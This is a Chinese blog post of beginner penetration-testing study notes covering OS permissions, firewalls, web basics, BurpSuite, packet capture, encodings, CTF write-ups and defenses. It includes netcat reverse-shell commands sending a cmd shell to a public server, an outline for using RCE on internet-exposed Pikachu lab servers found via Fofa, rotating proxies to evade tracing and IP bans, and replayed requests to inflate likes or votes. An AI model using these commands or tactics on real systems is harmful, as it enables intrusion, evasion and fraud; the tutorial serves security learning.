基础入门

基础入门

1. 常见术语

2. 操作系统的一些基本概念

2.1 个人计算机&服务器用机

个人计算机指的就是专门为用户使用的计算机,这个计算机里面通常都是搭载客户机操作系统。例如:Windows10等。

服务器指的就是专门提供服务的计算机,这个计算机里面通常都是搭载服务器操作系统。例如:WindowsServer2012等。

2.2 Windows&Linux常见命令

这里需要什么操作,直接到网上去搜即可。

2.3 权限&用户&用户组

权限一般指的就是:在某一台计算机中,以你的身份可以在这一台计算机中做什么事情。如果你的身份的权限很低,那么你在这台计算机中所做的事情非常有限。所以,当你的身份非常低时,你可以选择提权来增加当前的权限,以此可以去做更多的事情。

    补充:
        1.  在Windows和Linux操作系统中,除了有用户之外,还有用户组(一堆用户的集合)。
        2.  在Windows和Linux操作系统中,主要有所有者权限和所属组权限两种。
        3.  在操作系统中,不同用户的权限是不同的。通常,管理员权限大于普通用户权限。
        4.  如果一个用户加入了某个组,那么该用户就会自动拥有所属组权限。
        5.  如果一个用户既分配了某些权限,又被拒绝了某些权限,那么拒绝优先。

2.4 防火墙&防火墙入站策略&防火墙出站策略

防火墙主要指的就是一个关口,这个关口可以帮你进行检查数据,以便于保护你的计算机。

img

    补充:
        1.  防火墙入站策略指的就是:当有外部数据发送到计算机时(反向连接),防火墙需要做的事情。
        2.  防火墙出站策略指的就是:当计算机需要发送数据到外网时(正向连接),防火墙需要做的事情。
        3.  一般来讲,防火墙在默认情况下,对出站策略比较宽松,对入站策略比较严格。
        4.  需要注意的是,正反向连接的确定,要以实际参照物为准。例如:AB发送数据,如果以A为参考物,那么就是正向连接。但是,以B为参照物,就是反向连接。
        5.  一般而言,参考物都以实施攻击的主机为准。

3. 实用案例

3.1 文件上传下载-解决无图形化&数据传输问题

关于Windows&Linux&Python&Java等文件上传下载命令的具体用法请参考:

https://forum.ywhack.com/bountytips.php?download

这里使用wget命令来进行简单的文件下载的演示:

img

3.2 反弹Shell命令-解决数据回显&交互式命令问题

数据回显主要指的是:当你执行一个程序时,它有没有执行结果显示给你。有些程序没有数据回显,这就导致了一个问题:你执行了,但是不知道有没有执行成功?因此,反弹Shell就可以解决程序中数据回显的问题。

    为什么会有交互式命令问题?
        当你在目标计算机中远程执行一个攻击脚本时,这个脚本需要创建一个用户和密码。
        当创建密码时(以passwd命令举例),该命令会等待用户的输入。但是,你无法进行输入密码(因为你本人无法操控目标计算机),此时这条命令就会卡在这里。
        因此,反弹Shell命令,就可以解决这个问题。

当进行反弹shell时,我们可以使用nc工具。

nc命令全名叫netcat,是一个功能强大的网络工具,有网络界的瑞士军刀美称。它可以用来进行端口侦听等强大的操作。

这里给出nc命令的详细介绍:

实验一:使用nc命令来进行反弹shell(内外网主机)

  • 如果一台主机在内网,另一台主机在外网:内网可以反弹到外网。

  • 外网反弹不到内网(可以通过在路由器上做端口映射来解决这个问题)。

第一步:我们使用服务器(外网)来监听5577端口,随时等待客户端的请求。

nc -lvvp 5577

img

第二步:我们使用客户端(内网)来将本机的cmd权限移交给服务器,使其服务器可以有权限执行客户端的cmd程序。这样的话,就完成了反弹shell。

nc -e cmd 公网服务器IP 5577

执行完之后,我们就可以在服务器中白嫖客户端的资源了(例如,查看客户端的文件夹内容)。

img

当然,如果将服务器的cmd权限移交给内网机器,这是不行的。因为,服务器无法找到内网主机。当然我们可以在路由器上做端口映射来解决这个问题。

所谓路由器的端口映射就是:在服务器上针对特定端口做一个映射关系,当服务器的数据发往路由器时,如果该数据的端口号跟特定端口匹配,那么直接将该数据传送给内网中的特定主机。

下图展示了:如果将服务器的shell权限移交给内网机器,会超时的结果。

img

在上述过程中,如果两台主机都在外网的话,那么这两台主机之间相互执行反弹shell是没有问题的,这里就不再进行演示了。

另外,如果在上述过程中,服务器开启了防火墙,将防火墙的入站策略设置为:禁止5577端口的数据流入。那么,上述的过程就不成立了。

下图展示了:如果将服务器的入站策略设置为:禁止5577端口的数据,上述过程会超时的结果。(注:关于服务器的入站策略设置请自行查找,这里不进行展示)

img

3.3 Fofa拿下Pikachu(靶场)服务器

    先打开fofa,执行如下命令,寻找pikachu靶场:
    "pikachu" && country="CN" && title == "Get the pikachu"
    接下来介绍一下总体思路:
        1.  我们可以通过RCE,通过ping命令,让靶场服务器使用命令下载nc。
        2.  服务器进行监听。
        2.  之后通过nc将靶场的cmd反弹到服务器中。
    注意:这里仅介绍思路,不给出具体结果。

4. 网站搭建前置知识

4.1 域名

当我们访问互联网中服务器上的资源时,我们首先需要通过ip地址来寻找到该服务器。但有时ip地址不容易让人记忆,因此我们使用域名来对应该服务器。下次用户在进行寻找时,直接通过域名就可以定位到该服务器,而不用ip地址。

例如:www.example.com就是域名。

4.2 子域名

域名分为多种级别,一级域名,二级域名,三级域名,四级域名等等。

上述的www.example.com中,com是顶级域名,example为二级域名,www为三级域名。

关于子域名的更多信息请自行查找,这里不再赘述。

4.3 DNS

DNS为域名解析服务器,主要的作用是用来进行ip地址和域名之间的解析。

DNS的必要性在于:当我们使用域名来进行寻找服务器时,该域名通常会送到DNS来进行解析,DNS解析到该服务器对应的ip地址后,客户端再通过ip地址来访问服务器。

因此,当使用域名访问服务器时,本质上还是通过ip地址来进行访问的。域名的目的是便于用户记忆。

这里需要补充:国内的域名需要备案,如果要使用不备案的域名的话,你需要将服务器放在国外,而不是国内。因为国内的DNS服务器无法对没有备案的域名进行解析。

4.4 HTTP/HTTPS

HTTP称为超文本传输协议,访问网页时会使用到的协议。(明文传输)

HTTPS称为超文本传输安全协议,目的就是使访问网页的过程更加安全。(密文传输)

更多信息参考:https://m.runoob.com/http/http-intro.html

4.5 SSL/证书

HTTPS如果要进行加密传输,那么就需要证书的加持。

更多信息参考:https://www.runoob.com/w3cnote/https-ssl-intro.html

5. WEB应用环境前置知识

5.1 开发语言

用于开发不同程序的编程语言。例如:asp,php,python,java等

5.2 程序源码

当你使用编程语言开发了一个程序之后,这个程序内部所书写的代码,就是该程序的源代码。

    程序源码的分类:
        根据开发语言分类
        应用类型分类(博客,论坛....)
        开源CMS分类(注:CMS代表内容管理系统,可以简单理解为对网站的内容进行管理的系统)(开源指的是开放源代码)(开源CMS:WordPress等)
        开发框架分类(Vue,SpringBoot,Django等)

5.3 WEB中间件容器

可以简单理解为:指的是用于承载网站运行的软件(容器)。

例如:IIS,Apache,Nginx等

5.4 数据库类型

由于网站需要存储数据,因此我们要将数据存储到一个地方,这个地方就叫数据库(数据的集合)。

例如:Access,Mysql,Oracle,Redis等。

5.5 服务器操作系统

之前提到过,这里不再赘述。

5.6 第三方软件

由官方之外的组织或公司进行开发的软件。这类软件对于我们处理某些任务有着非常巨大的作用。

5.7 宝塔

宝塔是一个简单好用的Linux/Windows服务器运维管理面板。通过这个软件我们可以一键(集成化)安装运维(搭建环境)所需要的软件。(包括:数据库,中间件等等

宝塔官网:https://www.bt.cn/new/index.html

6. WEB应用安全漏洞分类

SQL注入、文件安全、RCE执行、XSS跨站、CSRF/SSRF/CRLF、反序列化、逻辑越权、未授权访问、XXE/XML、弱口令安全等。

7. WEB请求返回数据包的过程

7.1 参考资料

7.2 WEB请求返回数据包的过程(无代理服务器)

客户端给服务器发送数据,服务器接收到请求后,响应给客户端。

7.3 WEB请求返回数据包的过程(代理服务器)

客户端先发送数据给代理服务器,代理服务器进行处理后再将请求发给服务器。服务器接收到请求后,响应给代理,代理进行处理之后,再将请求响应给客户端。

8. 案例

8.1 BurpSuite工具介绍

BurpSuite是一个实现在浏览器抓包的工具。它可以进行数据包的重放,请求响应数据包分析等功能。

下载地址:https://portswigger.net/burp/communitydownload

使用burpsuite抓取虚拟机当中的浏览器数据:

  • 需要虚拟机和物理机保持通信(防火墙设置)
  • 虚拟机为NAT模式
  • 火狐浏览器
  • 虚拟机ip:192.168.11.138;物理机ip:192.168.11.1
  • 在虚拟机的浏览器上设置代理:
    • img
  • 在burp上设置代理:
    • img
  • 数据流向:浏览器发送数据包到物理机(11.1:9999)->物理机上的burp监听(11.1:9999)
  • 如果想抓取https数据包,那么导入burp证书即可。
  • 参考文章:https://blog.csdn.net/miraclehw/article/details/129231999

使用burpsuite抓取物理机当中的浏览器数据:

  • 火狐浏览器
  • 在浏览器上配置代理:
    • img
  • 在burp上设置代理:
    • img
  • 数据流向:浏览器发送数据包到物理机的10010端口,burp在10010端口上监听数据。
  • 如果想抓取https数据包,那么导入burp证书即可。
  • 参考文章:https://blog.csdn.net/miraclehw/article/details/129231999

8.2 使用BurpSuite重放数据包实现新闻回帖刷赞

    思路分析:
        1.  我们可以使用BurpSuite来监听点赞的数据包。
        2.  将该数据包重新发送给服务器来实现点赞。
    可行性分析:
        因为用户在点赞时,实际上是客户端向服务器发起了一次请求(数据包)。这个请求中包含点赞的信息。当用户再次点赞时,实际上是某公司在前端对用户的操作进行了限制,使其不能多次点赞。但是数据包是可以重复发送的。我们通过BurpSuite来进行多次数据包的发送,绕过了前端的限制,加之某公司也没有在后端进行限制。这样的话,我们就可以通过发送多次数据包来实现刷赞的功能。
    具体实现效果如下:发送send,实现多次点赞。

img

img

8.3 通过BurpSuite修改数据包UA头实现在PC中显示移动端内容

    当使用手机/电脑打开百度时,发现界面是不一样的。
    我们可以使用BurpSuite来让手机显示电脑的页面,让电脑显示手机的页面。(服务器通过请求头当中的UserAgent参数来判别请求端是手机还是电脑,进而显示不同的页面)

img
img

    我们抓包发现,如果手机端请求服务器的话,请求头的数据是这样的(只展示User-Agent部分):
    User-Agent: Mozilla/5.0 (Linux; Android 9; V1824A Build/PQ3A.190605.10261546; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/91.0.4472.114 Safari/537.36
    电脑端是这样的:
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36
    因此,当我们抓到电脑端发往服务器的数据包时,将User-Agent字段改为手机的(www.baidu.com -> m.baidu.com),抓到手机端发往服务器的数据包时,将User-Agent字段改为电脑的即可(m.baidu.com->www.baidu.com)。最终效果如下:

img
img

9. HTTP状态码

有时我们需要判断客户端发给服务器的请求(HTTP/HTTPS请求)是否成功。因此,服务器在接收客户端的请求后,发送响应数据包时,通常都会将状态码附加到响应数据包当中。

状态码反映了此次的请求状态是如何的?(成功与否?所请求的数据在服务器上是否存在等等)

我们可以根据状态码来判断这次请求发生了什么。

这里给出了常见的状态码:
https://baike.baidu.com/item/HTTP状态码/5053660?fr=ge_ala

    这里给出一些'经验性'的判断:
        1.  3XX 跳转(重定向)。
        2.  5XX 服务器内部错误。
        3.  3XX和5XX状态码均无法判断文件/文件夹在该服务器上是否存在。
        4.  文件夹  403存在,404不存在
        5.  文件    200存在,404不存在

10. 远程代理

上述实验当中所涉及到的代理服务器是本地代理服务器。我们可以通过在网上购买远程代理来实现我们的一些需求。

这里给出远程代理:
https://www.kuaidaili.com/?utm_source=bdtg&utm_campaign=a13a1&utm_medium=a13&bd_vid=10027119246916751186

    远程代理的必要性:
        1.  如果你要对某一台主机发起攻击,我们可以选择一台远程代理作为跳板,这个远程代理实现了每一次请求更换ip地址,那么当对方主机想要寻找攻击者时,发现很难找到。(因为攻击者通过远程代理隐藏了自身的ip地址,每一次请求ip地址均不同)
        2.  如果你要对某一台主机发起攻击,但是你的ip地址被对方的防火墙封掉了。如果我们想要实现后续的攻击,那么我们也可以使用远程代理。这样的话由于每一次请求都是新的ip地址,那么对方防火墙很难进行处理。
        3.  如果在进行投票时,投票的机制是根据ip地址来进行投票。那么,我们也可以使用远程代理来实现刷票。(每一次请求ip不同) 

11. 抓包&封包

11.1 抓包技术应用意义

个人理解抓包技术的意义就是:获取某一个软件中所流动的数据,进而可以更好的了解这个软件的情况。

在实际情况中,有些程序他是不给你IP地址的,此时如果想要获取这个程序的资产信息/进行安全测试,就需要对这个程序进行抓包,来进行全面的分析。

抓包实际上就是:撕开一切你看不到的东西。(将不可见->可见)

11.2 抓包技术应用对象

应用的对象有很多,例如:我们可以通过将网卡设置为混杂模式,来获得经过网卡上的所有数据包。同时,我们也可以通过某些软件来获取浏览器上的数据包。

例如:小程序、APP、桌面应用等。

11.3 抓包技术应用协议

常见的网络协议都可以进行抓取。

但是,不同的抓包软件所能支持抓取的协议不同,因此对于不同协议,我们要使用不同软件进行抓包。

11.4 抓包技术应用支持

指的是抓包工具运行在什么环境下:Windows、Linux等等。

11.5 封包技术应用意义

    何为封包?
    封包指将网络传输过程中分片传输的数据(特别是游戏中实现功能的数据包)进行一个整合封装。让我们能更加直观的看到效果。
    抓包和封包的区别:所抓到的数据包是零散和整体的区别,封包能精确到每个操作的数据包(尤其是游戏当中的每个操作),这一点是抓包所做不到的。
    举个例子:如果你想要对游戏当中的某一个操作进行抓取,该游戏当中的操作可能会通过IP数据包分片的机制在网络上进行传输。如果你使用抓包技术进行抓取的话,你只能以一个个分片的形式进行抓取(只能抓取到离散的数据包)(不便于对游戏当中的每一个操作进行分析和处理)。但是,如果你使用封包技术进行抓取的话,那么就会将这些分片进行整合之后,呈现给用户。(可以抓取到整体的数据包,利于对游戏当中的每一个操作进行分析和处理)

封包的意义:

对诸如游戏这样的应用进行更加深入的了解(安全测试),进而可以对这类软件进行改进。

12. 工具抓包案例(HTTP/HTTPS)

12.1 使用浏览器自带的工具进行监听Web中的流动数据

img

12.2 使用Charles监听APP上流动的数据

  • 逍遥模拟器
  • 模拟器设置桥接模式/NAT+DHCP获取
  • Charles:Proxy->Proxy Settings
  • img
  • 默认监听本机8888端口
  • 模拟器:
  • img
    Charles证书安装指南(装了证书后才可以抓取HTTPS数据):
    https://blog.csdn.net/weixin_45459427/article/details/108393878

12.3 使用Fiddler监听小程序上流动的数据

  • 逍遥模拟器
  • 模拟器设置桥接模式/NAT+DHCP获取
  • Fiddler:
  • img
  • img
    Fiddler证书安装指南:
    https://blog.csdn.net/mahoon411/article/details/124200360

12.4 使用BurpSuite监听APP上流动的数据

13. 工具抓包案例(全局协议/网络接口)

13.1 使用WireShark来监听数据

    WireShark可以对网络接口中所流动的数据包进行抓取。
    关于WireShark抓包的过程,这里不再赘述。

13.2 使用科来网络分析系统来监听数据

    科来网络分析系统除了可以对网络接口抓取数据包外还可以以进程为对象来监听数据。
    关于科来抓包的过程,这里不再赘述。

13.3 WPE封包来监听数据

    WPE:网络封包编辑器
    封包监听工具是强大的网络封包编辑器,WPE可以截取网络上的信息,修改封包数据,重新发送修改后的封包数据,是外挂制作的常用工具。在安全测试中可用来调试数据通讯地址。
    关于该工具请自行下载。

13.4 案例:使用封包监听工具实现游戏中一键回城

    1.  我们先在游戏中单击回城同时使用WPE工具进行抓包。(这里不暴露真实IP)

img

    2.  我们发现第一个包就是回城。当我们重新发送第一个包时,游戏中的人物就会实现自动回城了。

img
img

14. 常见加密算法&编码方式

14.0 参考资料

    https://blog.csdn.net/yangzisujin/article/details/128343450
    https://blog.csdn.net/qq_41638851/article/details/100526839
    https://blog.csdn.net/hackzkaq/article/details/123276137
    解密平台:http://www.hiencode.com/

14.1 如何识别加密算法?

    主要有三个特征:
        1.  看密文位数
        2.  看密文的特征(数字、字符、大小写、符号等)
        3.  看当前密文存在的地方(Web、数据库、操作系统等应用)

14.2 常见加密算法特征

    MD5算法:MD5值是32位或16位由数字0-9和字母a-f所组成的字符串
            MD5算法是不可逆的,意味着无法直接对密文进行解密。但是,我们可以通过枚举明文字符串进行加密,之后跟加密后的字符串进行比较,以进行解密(枚举和碰撞)。
    SHA1算法:密文特征跟MD5差不多,只不过位数为40
    NTLM算法:是Windows的哈希密码,标准通讯安全协议
    RSA是非对称加密算法,引入了密钥,密文特征跟Base64类似.
    AES,DES是对称加密算法。

14.3 常见传输数据编码

    BASE64:BASE64值是由数字0-9和字母a-f所组成的字符串,大小写敏感,结尾通常有符号=
    URL编码:是由数字0-9和字母a-f所组成的字符串,大小写敏感,通常以%2个字符(数字或字母)间隔
    HEX编码:十六进制
    ASCII编码:不再赘述

14.4 JS前端代码加密

    JS颜文字加密特征:一堆颜文字构成的JS代码,在F12中可以直接解密执行。
    jother加密特征:只用! + { } ( ) [ ] 这八个字符就能完成对任意字符串的编码。也可在F12中进行解密执行。
    JSFUCK特征:与jother很像,只是少了{ }
    补充:Jother 混淆和 JSFuck 有点儿类似,唯一的区别就是密文比 JSFuck 多了 {},其解密方式和 JSFuck 是一样的,Jother 混淆现在不太常见了,也很难找到在线混淆之类的工具了,原作者有个在线页面也关闭了,不过仍然可以了解一下,Jother 混淆具有以下特征:
    仅由 8 个符号组成:[]()!+{}
    上述内容来源于:https://news.sohu.com/a/516614081_120818776

14.5 后端代码加密(反编译)

    PHP加密特征:内容乱码,但是内容的头部有信息
    .NET通常使用DLL(动态链接库)来封装源代码。我们可以使用ILSpy来反编译出源代码。
    JAVA程序在进入到JVM之前会编译成字节码文件(CLASS),我们可以使用IDEA将CLASS反编译成Java源代码。

14.6 数据库密码加密

    当创建一个数据库用户时,DBMS会将该用户的密码加密存储在数据库当中。

14.7 CTF赛题-BUUCTF-single dog

    1.  目的:我们要从这道题中找到flag并提交。
    2.  打开这个题目,我们发现了一张这样的图片。

img

    3.  推测:很有可能通过隐写术将信息写入了这张图片中。
        我们来查看一下这张图片里是否隐写了数据(使用linux的formost命令)。
        注意:没有foremost命令需要先下载

img

    根据output目录的内容,我们可以发现:该图片隐写了两个目录。jpg和zip
    4.  进入这两个目录,获取相关信息。
        jpg目录下就是这张图片。00000000.jpg
        zip目录下是一个压缩文件,我们对其进行解压(使用unzip命令)。

img
img
img

    5.  查看1.txt文件内容,发现是密文。
        该密文的特征:全是表情包。
        因此,我们可以推断出这个是JS颜文字加密。

img

    6.  我们将这串密文放到在线解密工具(https://www.qtool.net/decode)上,单击aaencode解密,获取flag,本题结束。

img
img

14.8 CTF赛题-学逆向-JSfuck

    1.  目的:我们要从这道题中找到flag并提交。
    2.  打开这个题目,我们发现了一个这样的html页面。

img

    3.  我们可以打开源代码,看看有没有什么线索(一定要用文本打开,不可以用浏览器打开)?

img

    4.  我们发现该网站有一个隐藏的div标签。该标签的内容是一大堆密文。
        该密文的特征:只用了! = ( ) [ ] {} 这八个字符。
        我们推测这个密文采用的是jother编码。
    5.  我们尝试将该密文放到jsfuck解密平台上,并进行解码获取flag,本题结束。

img

15. 资产架构

15.1 WEB单个源码指向安全(一个网站一个程序)

    www.example.com -> dz论坛

15.2 WEB多个目录源码安全(一个网站多个程序)

    www.example.com -> dz论坛
    www.example.com/blog -> wordpress 程序
    ...
    这样的话,就意味着任何一个程序出现漏洞,都可以进行安全测试。换句话说,任何一个程序出现漏洞,都会对其他程序造成影响。

15.3 WEB多个端口源码安全(一个网站多个程序,每个程序对应一个端口,多端口)

    www.example.com -> dz论坛(默认80)
    www.example.com:8081 -> wp程序(8081端口)
    ...
    虽然这些程序都在一个网站上,但是它们是不同的目标。

15.4 服务器假设多个站点安全(一个IP对应多个域名)

    www.example.com 172.1.1.2
    edu.example.com 172.1.1.2
    如果你要对www.example.com进行安全测试,但是www.example.com无法被访问。怎么办?若你查到了针对于这台服务器的另外一条解析记录,那么你可以尝试对edu.example.com进行安全测试(对应的是同一台机器)。

15.5 架设第三方插件接口安全

    有些网站的站长喜欢安装第三方插件来方便维护自己的网站。但是,如果第三方插件本身有安全问题,也会对自身的网站产生影响。
    插件:
        WEB源码插件(该插件应用在源码上)例如:php的filemanager插件
        WEB应用插件(该插件一般用于拓展功能)例如:phpmyadmin 便于站长管理数据库(方便了管理人员管理数据库,也方便了攻击者攻击数据库)

15.6 服务器假设多个应用安全

    不仅为WEB应用,也为服务器应用(ftp,dhcp,dns...)。
    例如:如果你在服务器安装了ftp的应用软件。那么该软件既方便了管理人员进行文件操作,也增加了攻击者进行攻击ftp服务的可能(如果该软件存在漏洞)。

16. 番外安全

16.1 基于域名解析安全

    如果你有一条域名解析记录:www.example.com -> 127.0.0.2。
    此时,攻击者将域名解析记录进行篡改:www.example.com -> 其他地址。
    这样的话,当用户访问www.example.com的时候,访问的就不是原先的内容了。我们可以布置一个钓鱼网站,当用户访问该域名的时候,由于进行了DNS欺骗,导致了用户访问该网站。此时我们就可以获取用户的信息了。

16.2 基于服务器本身安全

    攻击者可以根据服务器在公网的ip地址,来尝试爆破出该服务器的密码,进而可以控制该机器。

16.3 基于服务商信息安全

    如果某用户在某厂商购买了云服务器,此时攻击者就可以想办法去获得该用户在某云服务器厂商的账号密码(社会工程学)。获得了之后,攻击者就可以对该用户的云服务器进行控制。

16.4 基于管理个人的安全

    攻击者想办法哄骗某用户,通过非技术的方式来获得该用户的资产信息。(社会工程学)

17. 考虑阻碍(防护措施)

17.1 站库分离

    网站在一台服务器上,数据库在另外一台服务器上。
    这样的话,如果你攻破了A服务器,该服务器上存储的是网站源码。但是,数据你却拿不到,因为数据库在B服务器上,反之同理。

17.2 CDN加速服务

    CDN指的是内容分发网络。目的是可以提高访问速度。
    CDN通过在网络上分布节点存储缓存来提高访问速度。
    假设,A主机(在国外)访问www.baidu.com,速度将会非常慢。但是,如果你部署了CDN,在国外部署了一个CDN节点,该节点会存有www.baidu.com站点的相关数据(缓存)。那么,当A主机访问www.baidu.com的时候,就会直接从该节点中取数据,速度将会非常快。
    CDN会对安全测试有着一定的影响。因为,当你对某一个站点进行攻击时,有可能你攻破的是缓存的站点,而不是真实的站点。

17.3 负载均衡

    当访问量非常巨大时,如果只有一台服务器,那么该服务器很有可能因承受不住负载而宕机。
    那么负载均衡的作用就是:部署多台服务器为用户提供服务,当请求来临时,该请求会均匀的分摊到这多台服务器中,减轻服务器的负载,提高可靠性。
    负载均衡同样会对安全测试有着一定的影响。因为,当你对某一个站点进行攻击时,你很有可能拿下的是这多台服务器当中的一个。但是,你所拿下的服务器有没有你想要的数据,这个是不确定的。

17.4 WAF应用防火墙

    WAF又称为:WEB应用防火墙。该防火墙主要用于WEB应用,用于抵挡攻击。

17.5 主机防护防火墙

    例如:杀毒软件就是主机防护防火墙。
    主机防护防火墙的作用用于保护主机的安全。如果攻击者想攻破这台服务器上架设的WEB应用,主机防护防火墙不去管这件事。但是,如果攻击者在攻破了WEB应用的基础上想对主机本身进行进一步的操作的话,那么主机防火墙就会进行防护。

17.6 反向代理

    反向代理实际上就是将内网服务器的内容解析到外网。
        1.  假设,内网有一台WEB服务器,IP为192.168.1.100。(内网中存在多台主机)
            然后,这些内网主机的出口(网关):202.103.25.102
            如果将DNS记录配置为:域名 202.103.25.102 那么通过该域名是访问不到WEB服务器的内容的。此时应该怎么办?
        2.  此时我们可以在外网部署一台主机:101.3.13.45
        3.  让该主机作为内网192.168.1.100的代理服务器(将192.168.1.100的web请求解析到101.3.13.45)。
        4.  此时DNS记录就可以配置为:域名 101.3.13.45
    反向代理同样会对安全测试有着一定的影响。当你攻破这台所谓的WEB服务器的时候,实际上攻破的是代理服务器,而不是内网的WEB服务器。

致谢

    https://www.bilibili.com/video/BV1pQ4y1s7kH/?spm_id_from=333.1007.top_right_bar_window_custom_collection.content.click

免责声明

    本博客中的内容仅供学习之用,不用于商业用途,也不可以用于任何非法用途,否则后果自负,本人不承担任何责任!
posted @   夏目^_^  阅读(98)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!
点击右上角即可分享
微信分享提示